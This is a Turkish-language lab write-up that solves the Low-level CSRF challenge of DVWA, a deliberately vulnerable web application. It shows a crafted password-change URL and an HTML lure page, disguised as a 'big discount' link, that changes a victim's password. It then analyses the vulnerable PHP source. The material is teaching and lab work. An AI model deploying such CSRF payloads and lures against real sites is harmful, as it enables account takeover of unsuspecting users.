CSRF DVWA (Low) adlı bu writeup ta Damn Vulnerable Web Application ın odalarında biri olan CSRF odasının Low seviyesinin çözümü gösterilmektedir.
Mevcut kullanıcının username ve password bilgilerini ‘Test Credentinals’ kısmına girerek kontrol edilmiştir. Brute Force deneyerek alınan username ve password değerleri bu uygulamada da mevcut kullanıcının bilgileridir.
Mevcut Kullanıcı Bilgileri: Username=admin & Password=password
Panelden yeni parola girişi yapıldığında URL kısmında bir değişiklik olduğu fark edilmiştir.
Yeni parola giriş isteği, Burp Suite tarafından incelenmek üzere proxy edilmiştir.
Yeni parola bilgilerini URL ile gönderdiği görülmektedir ve bu isteğin manipüle edilmesiyle başka kullanıcıların bu URL e tıklaması ile parolalarını değiştirmek CSRF in mantığında yatan şeydir.
Payload : http://127.0.0.1:42001/vulnerabilities/csrf/?password_new=test1&password_conf=test1&Change=Change#
Bu payload’ı bir başka kullanıcı üzerinde herhangi bir html adresindeki bir butona tıklamasıyla çalışan bir forma getirmek amaçlanmıştır.
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<a href="http://127.0.0.1:42001/vulnerabilities/csrf/?password_new=test1&password_conf=test1&Change=Change#">Dev Indirim</a>
</body>
</html>
HTMLHazırlanmış olan bu index.html sayfası başka kullanıcılar tarafından açıldığında ve ”Dev İndirim” e tıkladığında içerisine gömülen URL çalışacak ve kullanıcının parolası otomatik olarak manipüle ettiğimiz şekilde değişecektir.
Öncelikle denemek için “Log Out” yaparak ‘admin’ kullanıcı oturumundan çıkış yapılmıştır ve ‘gordonb’ username e sahip olan kullanıcı ile oturum açılmıştır.
Bu kısımdan sonra yazıyı masum ‘gordonb’ bakış açısıyla anlatmak amaçlanmıştır.
gordonb username ve password bilgilerini girerek oturum açmıştır.
Username: gordonb & Password: abc123
O da ne? gordonb mesajlarına baktığında tanıdığı birisi ona bir URL göndermiş. sayfaya gelerek “Dev Indirim” e tıklandığında parolası değişiyor.
“Test Credentials” yaparak oturum bilgileri test ediliğinde; ‘gordonb’ ye ait password ün ‘abc123’ ten ‘test1’ e döndüğünü ve artık yeni password ün ‘test1’ olduğu görülmektedir.
📋Kaynak Kod Analizi
CSRF DVWA (Low) da, bu sistemin nasıl çalıştığına dair daha fazla bilgiye ulaşabileceğimiz bir yer olan kaynak kod analizi kısmına gelelim.
‘View Source’ a tıklayarak sayfanın PHP kaynak kodlarını incelemekle başlıyoruz.
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
PHPGelin bu sistemin arka planında neler çalıştığını daha detaylı inceleyelim;
- 3. satırda
$_GET['Change']
değişkenin varlığı kontrol edilir.$_GET
ile alınan veriler URL parametresi ile geliyorsa if bloğuna girer. - Eğer
Change
parametresi varsa;$pass_new
ve$pass_conf
değişkenleri, yeni şifreyi ve şifreyi doğrulama için girilen değeri$_GET
üzerinden alır. - 9. satırda girilen yeni şifre ile doğrulama şifresi karşılaştırılır. Eğer şifreler eşleşiyorsa, işlem devam eder; aksi takdirde, “Passwords did not match.” (Şifreler eşleşmiyor.) hatası verir.
- 11. satırda;
mysqli_real_escape_string
fonksiyonu kullanılarak SQL enjeksiyon saldırılarına karşı koruma sağlanmaya çalışılır. Ancak, bu yöntem modern uygulamalarda genellikle önerilmemekte ve yerine parametreli sorgular kullanılması tavsiye edilmektedir. - 12. satırda
$pass_new
değeri MD5 hash fonksiyonu kullanılarak şifrelenir. - Ardından veri tabanındaki ilgili kullanıcının şifresini güncellemek için bir SQL sorgusu oluşturulur.
- İşlem başarıyla tamamlandığında, kullanıcıya “Password Changed” (Şifre Değiştirildi) mesajı gösterilir.
- Son olarak, MySQL bağlantısı
mysqli_close
fonksiyonu kullanılarak kapatılır.
Brute Force(Low) yazıma ulaşmak için buraya tıklayabilirsiniz.
Erkan Çekiç
HacktorX YazarıMerhaba. Henüz çocukluk dönemimde yanmaya başlayan siber güvenlik ateşini lise ve üniversite dönemlerinde de harlayan, zamanının büyük bir bölümünü çalışmak ve bir şeyler üretmek üzerine kullanan biriyim.